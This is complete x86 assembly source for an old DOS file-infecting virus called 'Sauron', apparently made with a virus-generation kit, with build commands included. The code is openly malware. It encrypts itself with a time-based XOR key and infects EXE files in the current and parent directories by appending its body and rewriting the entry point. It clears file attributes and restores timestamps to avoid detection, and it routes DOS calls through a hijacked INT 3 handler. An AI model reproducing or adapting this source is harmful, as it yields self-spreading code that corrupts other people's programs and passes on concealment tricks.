; Virus generated by Gý 0.70á
; Gý written by Dark Angel of Phalcon/Skism
                
; File: SAURON.ASM
;     Sauron by Ender
                
id              =       'AC'
                
        .model  tiny
        .code   
                
; Assemble with:
; TASM /m3 filename.ASM
; TLINK /t filename.OBJ
        org     0100h
                
start:
ENCRYPT:
patchstart:
        mov     bx, offset endencrypt
        mov     cx, (heap-endencrypt)/2+1
encrypt_loop:
        db      002Eh                   ; cs:
        db      0081h,0037h             ; xor word ptr [bx], xxxx
encryptvalue    dw      0000h
        inc     bx
        inc     bx
        loop    encrypt_loop
endencrypt:
        mov     bp, sp
        int     0003h
next:
        mov     bp, ss:[bp-6]
        sub     bp, offset next
                
        push    ds
        push    es
                
        mov     ax, 3524h
        int     0021h
        push    es
        push    bx
                
        lea     dx, [bp+INT24]          ; ASSumes ds=cs
        mov     ax, 2524h
        int     0021h
                
        push    cs
        pop     es
                
                
        push    cs
        pop     es
                
        push    cs
        pop     ds
                
        mov     dl, 0000h               ; Default drive
        mov     ah, 0047h               ; Get directory
        lea     si, [bp+offset origdir+1]
        int     0021h
                
        lea     dx, [bp+offset newDTA]
        mov     ah, 001Ah               ; Set DTA
        int     0021h
                
        push    ds
        push    es
                
        mov     ax, 3521h               ; get int 21h handler
        int     0021h
                
        push    es
        pop     ds
        xchg    bx, dx
        mov     ax, 2503h               ; set int 3 = int 21h handler
        int     0021h
                
        pop     es
        pop     ds
        lea     si, [bp+offset origCSIP]
        lea     di, [bp+offset origCSIP2]
        movsw   
        movsw   
        movsw   
        movsw   
                
        mov     byte ptr [bp+numinfect], 0000h
traverse_loop:
        lea     dx, [bp+offset EXEmask]
        call    infect
        cmp     [bp+numinfect], 0004h
        jae     exit_traverse           ; exit if enough infected
                
        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bp+offset dot_dot] ; go to previous dir
        int     0003h
        jnc     traverse_loop           ; loop if no error
                
exit_traverse:
                
        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        xchg    dx, si
        mov     ah, 003Bh               ; restore directory
        int     0003h
                
        pop     dx
        pop     ds
        mov     ax, 2524h
        int     0003h
                
        pop     ds
        pop     es
                
        mov     dx, 0080h               ; in the PSP
        mov     ah, 001Ah               ; restore DTA to default
        int     0003h
                
restore_EXE:
        mov     ax, ds
        add     ax, 0010h
        add     cs:[bp+word ptr origCSIP2+2], ax
        add     ax, cs:[bp+word ptr origSPSS2]
        cli     
        mov     ss, ax
        mov     sp, cs:[bp+word ptr origSPSS2+2]
        sti     
        db      00EAh
origCSIP2       dd      ?
origSPSS2       dd      ?
origCSIP        dd      0fff00000h
origSPSS        dd      ?
                
return:
        ret     
INT24:
        mov     al, 0003h
        iret    
                
infect:
        mov     ah, 004Eh               ; find first
        mov     cx, 0007h               ; all files
findfirstnext:
        int     0003h
        jc      return
        lea     dx, [bp+newDTA+30]
        mov     ax, 4300h
        int     0003h
        jc      return
        push    cx
        push    dx
                
        mov     ax, 4301h               ; clear file attributes
        push    ax                      ; save for later use
        xor     cx, cx
        int     0003h
                
        lea     dx, [bp+newDTA+30]
        mov     ax, 3D02h
        int     0003h
        xchg    ax, bx
                
        mov     ax, 5700h               ; get file time/date
        int     0003h
        push    cx
        push    dx
                
        mov     cx, 001Ah
        mov     ah, 003Fh
        lea     dx, [bp+offset readbuffer]
        int     0003h
                
        xor     dx, dx
        mov     ax, 4202h
        xor     cx, cx
        int     0003h
                
        cmp     word ptr [bp+offset readbuffer], 'ZM'
        jnz     jmp_close
                
checkEXE:
        cmp     word ptr [bp+offset readbuffer+10h], id
        jnz     skipp
jmp_close:
        jmp     close
skipp:
                
        lea     di, [bp+origCSIP]
        lea     si, [bp+readbuffer+14h]
        movsw                           ; Save original CS and IP
        movsw   
                
        sub     si, 000Ah
        movsw                           ; Save original SS and SP
        movsw   
                
        push    bx                      ; save file handle
        mov     bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
        mov     cl, 0004h
        shl     bx, cl
                
        push    dx                      ; Save file size on the
        push    ax                      ; stack
                
        sub     ax, bx                  ; File size - Header size
        sbb     dx, 0000h               ; DX:AX - BX -> DX:AX
                
        mov     cx, 0010h
        div     cx                      ; DX:AX/CX = AX Remainder DX
                
        mov     word ptr [bp+readbuffer+10h], id ; Initial SP
        mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
        mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
        mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
                
        mov     si, dx                  ; save entry point
        pop     ax                      ; Filelength in DX:AX
        pop     dx
                
        add     ax, heap-start
        adc     dx, 0000h
                
        mov     cl, 0009h
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc     
        adc     dx, ax
        pop     ax
        and     ah, 0001h
                
        mov     word ptr [bp+readbuffer+2], ax ; the EXE header.
        mov     word ptr [bp+readbuffer+4], dx ; Fix-up the file size in
                
        pop     bx                      ; restore file handle
                
get_encrypt_value:
        mov     ah, 002Ch               ; Get current time
        int     0003h
                
        or      dx, dx                  ; Check if encryption value = 0
        jz      get_encrypt_value       ; Get another if it is
                
        add     si, (offset endencrypt-offset encrypt)
        mov     word ptr ds:[bp+patchstart+1], si
        mov     word ptr ds:[bp+encryptvalue], dx
                
        lea     di, [bp+offset encryptbuffer]
        mov     cx, (heap-encrypt)/2
        lea     si, [bp+offset ENCRYPT]
        push    si
        rep     movsw                   ; copy virus to buffer
                
        lea     ax, [bp+offset endencrypt-encrypt+encryptbuffer]
        mov     word ptr ds:[bp+patchstart+1], ax
        pop     si
        push    [bp+offset endencrypt]
        mov     byte ptr [bp+offset endencrypt], 00C3h ; retn
        push    bx
        call    si                      ; encrypt virus in buffer
        pop     bx
        pop     word ptr [bp+offset endencrypt]
                
                
        mov     ah, 0040h
        mov     cx, heap-encrypt
        lea     dx, [bp+offset encryptbuffer]
        int     0003h
                
        mov     ax, 4200h
        xor     cx, cx
        xor     dx, dx
        int     0003h
                
                
        lea     dx, [bp+offset readbuffer]
        mov     ah, 0040h
        mov     cx, 001Ah
        int     0003h
                
        inc     [bp+numinfect]
                
close:
        mov     ax, 5701h               ; restore file time/date
        pop     dx
        pop     cx
        int     0003h
                
        mov     ah, 003Eh
        int     0003h
                
        pop     ax                      ; restore file attributes
        pop     dx                      ; get filename and
        pop     cx                      ; attributes from stack
        int     0003h
                
        mov     ah, 004Fh               ; find next
        jmp     findfirstnext
                
creator         db      'Ender',0
virusname       db      'Sauron',0
EXEmask         db      '*.EXE',0
dot_dot         db      '..',0
                
heap:
encryptbuffer   db      (heap-encrypt)+1 dup (?)
newDTA          db      43 dup (?)
origdir         db      65 dup (?)
numinfect       db      ?
readbuffer      db      1ah dup (?)
endheap:
        end     start